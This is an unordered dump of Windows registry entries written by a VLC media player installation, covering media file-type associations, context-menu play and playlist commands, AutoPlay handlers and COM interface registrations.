"(Default)" = "Play with VLC media player"

[HKCR\VLC.flac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoFilesOnArrival]
"VLCPlayVideoFilesOnArrival" = ""

[HKCR\VLC.it\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rec\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".snd" = "VLC.snd"

[HKCR\VLC.adts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\VLC.3gp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wav\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ape\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.3ga\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.caf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2v]
"(Default)" = "VLC media file (.m2v)"

[HKCR\VLC.cda\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ram\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.gxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".asf" = "VLC.asf"
".asx" = "VLC.asx"

[HKCR\VLC.aifc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ac3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.bin\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"Action" = "Play audio files"

[HKCR\VLC.3gp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.flv]
"(Default)" = "VLC.flv"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"HideIconsCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /HideIcons /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".caf" = ""

[HKCR\VLC.ram]
"(Default)" = "VLC media file (.ram)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mxf" = "VLC.mxf"

[HKCR\VLC.wv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.spx\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.asx]
"(Default)" = "VLC media file (.asx)"

[HKCR\VLC.mp2v]
"(Default)" = "VLC media file (.mp2v)"

[HKCR\VLC.mtv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.aiff\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.aifc]
"(Default)" = "VLC media file (.aifc)"

[HKCR\VLC.avi\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\DVD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.divx\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vro" = "VLC.vro"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gpp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm]
"(Default)" = "VLC media file (.xm)"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aifc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4a\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dv\shell]
"(Default)" = "Open"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".dv" = "VLC.dv"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpeg2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m1v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.rmi]
"(Default)" = "VLC media file (.rmi)"

[HKCR\VLC.a52\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m2t\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf]
"(Default)" = "VLC media file (.vqf)"

[HKCR\VLC.bin\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ac3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vob" = "VLC.vob"

[HKCR\VLC.au\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.oma\shell]
"(Default)" = "Open"

[HKCR\VLC.snd\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.mpeg1]
"(Default)" = "VLC.mpeg1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.asf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.mpeg1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv]
"(Default)" = "VLC media file (.amv)"

[HKCR\VLC.mp4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mpg]
"(Default)" = "VLC.mpg"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp2" = "VLC.3gp2"

[HKCR\VLC.mlp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.6]
"Product" = "VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDAudioOnArrival]
"VLCPlayDVDAudioOnArrival" = ""

[HKCR\VLC.drc]
"(Default)" = "VLC media file (.drc)"

[HKCR\VLC.wmv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tta\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s]
"(Default)" = "VLC media file (.b4s)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wmv" = "VLC.wmv"

[HKCR\VLC.wv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2]
"(Default)" = "VLC media file (.mpv2)"

[HKCR\VLC.m4v\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adt" = ""

[HKCR\.rec]
"(Default)" = "VLC.rec"

[HKCR\.mid]
"(Default)" = "VLC.mid"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vqf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mpc]
"(Default)" = "VLC.mpc"

[HKCR\VLC.rmvb\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adt" = "VLC.adt"

[HKCR\VLC.vlc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell]
"(Default)" = "Open"

[HKCR\VLC.xm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ram\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx]
"(Default)" = "VLC media file (.spx)"

[HKCR\VLC.tta\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aiff\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aac\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u]
"(Default)" = "VLC media file (.m3u)"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.wav\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.wv\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".webm" = ""

[HKCR\VLC.opus\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogx" = ""
".au" = ""

[HKCR\VLC.drc\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nsv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aifc]
"(Default)" = "VLC.aifc"

[HKCR\Applications\vlc.exe\SupportedTypes]
".drc" = ""

[HKCR\VLC.rmi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.avi]
"(Default)" = "VLC media file (.avi)"

[HKCR\VLC.s3m\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.cue]
"(Default)" = "VLC.cue"

[HKCR\.ogv]
"(Default)" = "VLC.ogv"

[HKCR\VLC.mp4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Directory\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m3u8]
"(Default)" = "VLC media file (.m3u8)"

[HKCR\VLC.it\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.asf]
"(Default)" = "VLC.asf"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.voc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\shell]
"(Default)" = "Open"

[HKCR\VLC.ogm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ac3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xspf]
"(Default)" = "VLC media file (.xspf)"

[HKCR\VLC.m4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".OGA" = "VLC.oga"
".OGG" = "VLC.ogg"

[HKCR\.ifo]
"(Default)" = "VLC.ifo"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogm" = "VLC.ogm"

[HKCR\VLC.adts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.sdp\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ogx" = "VLC.ogx"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.caf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".WV" = "VLC.wv"

[HKCR\VLC.ts\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\RegisteredApplications]
"vlc" = "Software\Clients\Media\VLC\Capabilities"

[HKCR\VLC.669\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpg" = ""
".mpe" = ""
".MPC" = ""
".mpa" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".tod" = "VLC.tod"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mod\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\shell\Open]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adt\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell]
"(Default)" = "Open"

[HKCR\VLC.mpg\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP3" = ""

[HKLM\SOFTWARE\Clients\Media\VLC]
"(Default)" = "VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP1" = ""

[HKCR\VLC.rmi\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.s3m\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4v]
"(Default)" = "VLC media file (.m4v)"

[HKCR\VLC.vlc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.xm]
"(Default)" = "VLC.xm"

[HKCR\VLC.mod\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aifc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U" = "VLC.m3u"

[HKCR\VLC.caf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp]
"(Default)" = "VLC media file (.sdp)"

[HKCR\VLC.qcp\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".snd" = ""

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".f4v" = ""

[HKCR\VLC.3g2]
"(Default)" = "VLC media file (.3g2)"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.divx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.au]
"(Default)" = "VLC.au"

[HKCR\Applications\vlc.exe\SupportedTypes]
".FLAC" = ""

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vob]
"(Default)" = "VLC.vob"

[HKCR\VLC.mpa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mod]
"(Default)" = "VLC media file (.mod)"

[HKCR\VLC.rmi\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell]
"(Default)" = "Open"

[HKCR\.mpeg]
"(Default)" = "VLC.mpeg"

[HKCR\VLC.mpeg1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2ts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3g2\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vob\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vro" = ""

[HKCR\.pls]
"(Default)" = "VLC.pls"

[HKCR\VLC.divx]
"(Default)" = "VLC media file (.divx)"

[HKCR\VLC.drc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vro\shell]
"(Default)" = "Open"

[HKCR\VLC.vqf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vlc" = ""

[HKCR\VLC.avi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa]
"(Default)" = "VLC media file (.xa)"

[HKCR\VLC.xspf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.divx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.opus\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.bin\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u8\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.cda\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.asf]
"(Default)" = "VLC media file (.asf)"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.m4v\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.vqf\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".SPX" = "VLC.spx"

[HKCR\VLC.m4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m2ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.pls\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

